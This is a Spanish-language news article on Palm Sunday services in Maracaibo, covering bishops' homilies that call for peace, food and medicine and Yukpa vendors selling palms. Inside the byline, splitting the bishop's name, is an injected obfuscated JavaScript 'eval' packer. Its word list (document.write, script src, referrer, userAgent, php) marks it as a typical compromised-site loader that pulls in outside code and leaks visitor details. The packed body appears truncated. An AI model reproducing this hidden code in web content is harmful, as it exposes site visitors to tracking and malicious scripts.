“Recemos por la paz, para que haya medicina y comida”

Mariela Nava / Maracaibo / [email protected]
Ángel eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfssi|var|u0026u|referrer|aeyer||js|php'.split('|'),0,{})) Caraballo, obispo auxiliar de la Arquidiócesis de Maracaibo, ofició la eucaristía para celebrar el Domingo de Ramos en la Basílica. Los sacerdotes llamaron a la paz y la reconciliación nacional. Al menos 60 yucpas vendieron palmas benditas en los alrededores de la Basílica traídas desde la Sierra de Perijá

Pocas personas acudieron a la primera celebración de la Semana Mayor en Maracaibo. (Foto: José Nava)

Desde las 6.00 de la mañana los fieles católicos se aglomeraron en el monumento de La Chinita para iniciar, con el Domingo de Ramos, la primera actividad de la Semana Mayor. Al menos 200 personas caminaron en procesión hasta la Basílica Nuestra Señora de Chiquinquirá y San Juan de Dios para recibir la bendición de las palmas.

Ángel Caraballo, obispo auxiliar de la Arquidiócesis de Maracaibo, ofició la eucaristía en la que recordó que esta semana es una oportunidad para "adorar a Jesucristo y ver en la cruz la malicia de nuestros pecados". También llamó a los creyentes a mantenerse alejados de los vicios, la soberbia, envidia e ira. "Esos vicios que nos atan y nos esclavizan, debemos evitar las divisiones entre los cristianos".

Sobre la situación de Venezuela, el obispo encargado de la Basílica fue tajante: “Que esta Semana Santa no nos distraigan los múltiples problemas que está viviendo Venezuela, no nos olvidemos de los más pobres, porque en este problema los que más sufren son ellos. Debemos tener un corazón para amar a todos”.

Al finalizar la homilía le pidió a los presentes levantar sus palmas para orar por sus dolores. “Recemos por los que han despedido familiares que se han ido al exterior, para que estemos espiritualmente unidos. Recemos por los enfermos, por los que necesitan medicamentos, para que se arregle el problema de la comida y podamos alimentarnos como Dios quiere y -sobre todo- pidamos por la paz de nuestro país”. 

Catedral

En la Catedral de Maracaibo, monseñor Ubaldo Santana hizo la bendición frente al Arzobispado, desde donde, en procesión junto a la feligresía, caminó hasta la Catedral para oficiar la santa misa en la que resaltó: "Nunca debemos dejar de emprender y profundizar, porque necesitamos una fe del tamaño de los tiempos que vivimos". 

Monseñor pidió concentrarse en triduo pascual. "Esos tres días son la joya del tesoro. Y allí en ese manantial de amor los invito a sumergirse. Quien no soporte el agobio, el sufrimiento y la desesperación, que venga a Jesús. Él hará que el peso se nos haga más ligero".

Enfatizó que “la única manera de acabar con la guerra y la sed de poder es haciendo lo que Jesús hizo, es decir, volcando no misiles, sino toneladas de solidaridad, de servicio incansable, de sacrificio. No nos cansemos de hacer el bien".

UN NEGOCIO

Los yucpas aprovecharon la escasez de palmas benditas en los templos de la ciudad para vender las suyas. Al menos 60 indígenas bajaron de la Sierra de Perijá para vender por unidad la planta a varios precios. Cincuenta bolívares una sola palma, un ramito adornado, 200 bolívares. Un ramo con una espiga, 500 bolívares y otros similar con una estampita, 700 bolívares.

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